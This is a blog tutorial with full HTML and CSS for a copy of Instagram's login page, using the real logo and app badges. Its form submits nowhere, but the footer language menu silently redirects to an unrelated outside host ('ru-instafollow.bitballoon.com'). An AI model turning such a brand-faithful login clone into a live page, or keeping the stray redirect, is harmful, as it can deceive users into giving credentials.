How to create an Instagram Login Page | HTML & CSS Project Frontend everything

How to create a Instagram login Page in HTML & CSS

Hello Everyone 👋Welcome to My New Blog. Today I have made an Instagram login Page with the help of HTML and CSS😍

I am Piyush, Sharing About Web development Daily. You can also check out me at @frontendeverything.

Before starting the blog, you might think about where you can use this project in real-life-based projects. So it's an Instagram login page clone that you can use in your portfolio or projects. So it will look attractive and will give good expression

Let's start making this amazing Instagram login Page in HTML & CSS step by step.

Video of the project,

So that was the preview now let us start making the project 😄 First, we will code HTML then CSS, and also I have shared codepen ink to make it easier for you.

HTML 🎈( step - 1)

In HTML we have made a div for the container of login page and will make input fields for the same

<body>
  <span id="root">
    <section class="section-all">

      <!-- 1-Role Main -->
      <main class="main" role="main">
        <div class="wrapper">
          <article class="article">
            <div class="content">
              <div class="login-box">
                <div class="header">
                  <img class="logo" src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Instagram_logo.svg/1200px-Instagram_logo.svg.png" alt="Instagram">
                </div><!-- Header end -->
                <div class="form-wrap">
                  <form class="form">

                    <div class="input-box">
                      <input type="text" id="name" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" maxlength="30" autocapitalize="off" autocorrect="off" name="username" value="" required>
                    </div>  

                    <div class="input-box">
                      <input type="password" name="password" id="password" placeholder="Password" aria-describedby="" maxlength="30" aria-required="true" autocapitalize="off" autocorrect="off" required>
                    </div>  

                    <span class="button-box">
                      <button class="btn" type="submit" name="submit">Log in</button>
                    </span>  

                    <a class="forgot" href="">Forgot password?</a>
                  </form>
                </div> <!-- Form-wrap end -->
              </div> <!-- Login-box end -->

              <div class="login-box">
                <p class="text">Don't have an account?<a href="#">Sign up</a></p>
              </div> <!-- Signup-box end -->

              <div class="app">
                <p>Get the app.</p>
                <div class="app-img">
                  <a href="https://itunes.apple.com/app/instagram/id389801252?pt=428156&amp;ct=igweb.loginPage.badge&amp;mt=8">
                    <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_ios_english-en.png/4b70f6fae447.png" >
                  </a>
                  <a href="https://play.google.com/store/apps/details?id=com.instagram.android&amp;referrer=utm_source%3Dinstagramweb%26utm_campaign%3DloginPage%26utm_medium%3Dbadge">
                    <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_android_english-en.png/f06b908907d5.png">
                  </a>  
                </div>  <!-- App-img end-->
              </div> <!-- App end -->
            </div> <!-- Content end -->
          </article>
        </div> <!-- Wrapper end -->
      </main>

      <!-- 2-Role Footer -->
      <footer class="footer" role="contentinfo">
        <div class="footer-container">

          <nav class="footer-nav" role="navigation">
            <ul>
              <li><a href="">About Us</a></li>
              <li><a href="">Support</a></li>
              <li><a href="">Blog</a></li>
              <li><a href="">Press</a></li>
              <li><a href="">Api</a></li>
              <li><a href="">Jobs</a></li>
              <li><a href="">Privacy</a></li>
              <li><a href="">Terms</a></li>
              <li><a href="">Directory</a></li>
              <li>
                <span class="language">Language
                  <select name="language" class="select" onchange="la(this.value)">
                    <option value="#">English</option>
                    <option value="http://ru-instafollow.bitballoon.com">Russian</option>
                  </select>
                </span>
              </li>
            </ul>
          </nav>

          <span class="footer-logo">&copy; 2018 Instagram</span>
        </div> <!-- Footer container end -->
      </footer>
      
    </section>
  </span> <!-- Root -->

  <!-- Select Link -->
  <script type="text/javascript">
    function la(src) {
      window.location=src;
    }
  </script>
</body>

After the HTML we will design the container and inputs and will make an amazing design of the Instagram page.

Output till now

CSS🎈( step - 2)


/* Universal Selectors */
#root, body, html {
  height:100%;
}

body {
  overflow-y: scroll;
}

a, abbr, acronym, address, applet, article, aside, audio, b, big, blockquote, body, canvas, caption, center, cite, code, dd, del, details, dfn, div, dl, dt, em, embed, fieldset, figcaption, figure, footer, form, h1, h2, h3, h4, h5, h6, header, hgroup, html, i, iframe, img, ins, kbd, label, legend, li, mark, menu, nav, object, ol, output, p, pre, q, ruby, s, samp, section, small, span, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, time, tr, tt, u, ul, var, video {
  margin:0;
  padding:0;
  border:0;
  font:inherit;
  vertical-align: baseline;
} 

a, a:visited {
  text-decoration: none;
}
a:active, .btn:active {
  opacity:.5;
}

ol, ul {
  list-style: none;
}

body, button, input {
  font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
  font-size:14px;
  line-height:18px;
}

#root, article, main, div, section, header, nav, footer {
  border: 0 solid #000000;
  box-sizing: border-box;
  align-items: stretch;
  display: flex;
  flex-direction: column;
  flex-shrink: 0;
  margin:0;
  padding:0;
  position: relative;
  -webkit-box-align: stretch;
    -moz-box-align: stretch;
  -webkit-box-orient: vertical;
    -moz-box-orient: vertical;
  -webkit-box-direction: normal;
    -moz-box-direction: normal;
} /* <--Universal Selectors End */


#root {
  z-index: 0;
}

.section-all {
  min-height:100%;
  overflow:hidden;
}

.main {
  background-color: #fafafa;
  order: 4;
  flex-grow: 1;
  -webkit-box-flex: 1;
  -moz-box-flex: 1;
  -moz-box-ordinal-group: 5;
  -webkit-box-ordinal-group: 5;
}

.wrapper {
  min-height:100%;
  overflow: hidden;
}

.wrapper, .article {
  flex-grow: 1;
  justify-content: center;
  -webkit-box-flex: 1;
    -moz-box-flex: 1;
  -webkit-box-pack: center;
    -moz-box-pack: center;
}

.article {
  flex-direction: row;
  margin:0 auto;
  max-width: 935px;
  width:100%;
  -webkit-box-orient: horizontal;
    -moz-box-orient: horizontal;
  -webkit-box-direction: normal;
    -moz-box-direction: normal;
}

.content {
  color:#262626;
  flex-grow:1;
  justify-content: center;
  max-width: 350px;
  margin-top:12px;
  -webkit-box-pack: justify;
    -moz-box-pack: justify;
  -webkit-box-flex: 1;
    -moz-box-flex: 1;  
}

.login-box {
  background: #fff;
  border: 1px solid #e6e6e6;
  border-radius: 1px;
  margin:0 0 10px;
  padding: 10px 0;
  /* align-items: center; */
}

.header {
  margin: 14.45px auto 12px;
}

.logo {
  background: cover no-repeat;
  width:175px;
  height:auto;
}

.form {
  display: flex;
  flex-direction: column;
  margin-bottom: 10px;
  -moz-box-direction: normal;
  -webkit-box-direction: normal;
}

.input-box {
  margin:auto 40px 6px;
}

input {
  height: 36px;
  border: 1px solid #efefef;
  border-radius: 3px;
  background-color: #fafafa;
  width:100%;
  font-size:12px;
  margin: 0;
  padding: 9px 0 7px 8px;
  outline: none;
  overflow: hidden;
  text-overflow: ellipsis;
  box-sizing: border-box;
}
input#name:focus, input#password:focus {
  border-color:#bbb;
}

.button-box {
  display: block;
  position: relative;
  margin: 8px 40px;
}
.btn {
  cursor: pointer;
  width: 100%;
  padding:0 8px; 
  background: #3897f0;
  border:1px solid #3897f0;
  color:#fff;
  border-radius:3px;
  font-weight:600;
  font-size: 14px;
  height: 28px;
  line-height: 26px;
  outline: none;
  white-space: nowrap;
}

.forgot, .forgot:active, .forgot:hover, .forgot:visited {
  font-size:12px;
  margin-top:12px;
  text-align: center;
  color:#003569;
  line-height: 14px!important;
}

.text {
  text-align:center;
  margin:15px;
  color:#262626;
  font-size:14px;
}

.text a, .text a:visited, .text a:hover, .text a:active {
  color:#3897f0;
  margin-left:3px;
}

/* App Store */
.app p {
  line-height: 18px;
  color:#262626;
  font-size:14px;
  text-align:center;
  margin:10px 20px;
}

.app-img {
  flex-direction: row;
  justify-content: center;
  margin:10px 0;
  -webkit-box-orient: horizontal;
  -moz-box-orient: horizontal;
}

.app-img a {
  margin-right:8px;
  height: 43.5px;
}

.app-img img {
  height:40px;
}

/* FOOTER */
.footer {
  background-color: #fafafa;
  order: 5;
  padding: 0 20px;
  background: #fafafa;
}

.footer-container {
  flex-direction: row;  
  flex-wrap:wrap;
  background-color: #fafafa;
  justify-content: space-between;
  padding: 38px 0;
  max-width:935px;
  font-size:12px;
  font-weight:600;
  margin:0 auto;
  text-transform:uppercase;
  width:100%
}

.footer-nav {
  max-width:100%;
}

.footer-nav ul {
  margin-right:16px;
  margin-bottom:3px;
  flex-grow:1;
}

.footer-nav ul li {
  display: inline-block;
  margin-right: 13px;
  margin-bottom:7px;
}

.footer-nav ul li a {
  color: #003569;
  text-decoration: none;
}

.footer span {
  color:#999;
}

span.language { 
  color: #003569;
  cursor: pointer;
  display: inline-block;
  font-weight: 600;
  position: relative;
  text-transform: uppercase;
  vertical-align: top;
}

.select {
  cursor: pointer;
  height: 100%;
  top: 0;
  opacity: 0;
  position: absolute;
  left:0;
  width: 100%;
}

/* Media Queries */
@media (max-width:450px) {
  .main {
    background-color: #fff;
  }

  .content {
    max-width: 100%;
    margin-top: 0;
    justify-content: space-between;
  }

  .login-box {
    background-color: transparent;
    border:none;
  }

  .logo {
    background: cover no-repeat;
    width:175px;
    height:auto;
    margin:0 auto;
  }

  .btn {
    cursor: pointer;
    width: 100%;
    padding:0 8px; 
    background: #3897f0;
    border:1px solid #3897f0;
    color:#fff;
    border-radius:3px;
    font-weight:600;
    font-size: 14px;
    height: 28px;
    line-height: 26px;
    outline: none;
    white-space: nowrap;
  }

  .input-box {
    border: 1px solid #efefef;
    border-radius: 3px;
    height: 36px;
    background: #fafafa;
    position: relative;
  }

  input {
    border: 0;
    background-color: #fafafa;
    width:100%;
    font-size:12px;
    margin: 0;
    padding: 9px 0 7px 8px;
    outline: none;
    overflow: hidden;
    text-overflow: ellipsis;
    box-sizing: border-box;
  }

  .input-box:hover, .input-box:focus {
    border-color:#bbb;
  }

}

@media only screen and (max-width:875px) {
  .footer-container {
    text-align: center;
    padding:10px 0;
  }
  .footer-container,  .footer-nav ul {
    justify-content: center;
    margin:0 auto;
    max-width: 360px;
    min-width: auto;
    -webkit-box-pack: center;
    -moz-box-pack: center;
  }

}

Now we have done the CSS coding as well, now we will see the final output and also check the codepen link mentioned below.

Final Output

The codepen link is here for making your work easier!

Click here for the code!

If you found any value in this blog you can support me buy me a coffee.

Thank You For Scrolling Till here 😊. If You gain any knowledge then do checkout me at @frontendeverything. I am Piyush 🎉 I provide Content related to programming, technology, web development Daily.

More blogs you should give a check!

Pexels Website Clone With HTML< CSS and Javascript
Word Counter In Angular JS
Responsive Newsletter in CSS
Dark And Night mode toggle button in javascript
Best Youtube Channels For Learning Coding
Top-notch Project ideas For HTML< CSS< Javascript
Best Platform To sell your Website Templates
Google Homepage Clone With Html and CSS

4 Comments

piyushaggarwal0190@gmail.com

ITGOLD Solutions25 November 2022 at 03:53
It is really a helpful blog to find some different source to add my knowledge.
antivirus protection brisbane
Anonymous2 December 2022 at 23:39
2nd step doesn't work
ITGOLD Solutions3 December 2022 at 04:17
Great blog ! I am impressed with suggestions of author.
Switch to NBN
homefires24 April 2023 at 01:53
Impressive and powerful suggestion by the author of this blog are really helpful to me.
Fireplaces Sydney

How to create a Instagram login Page in HTML & CSS | Frontend Everything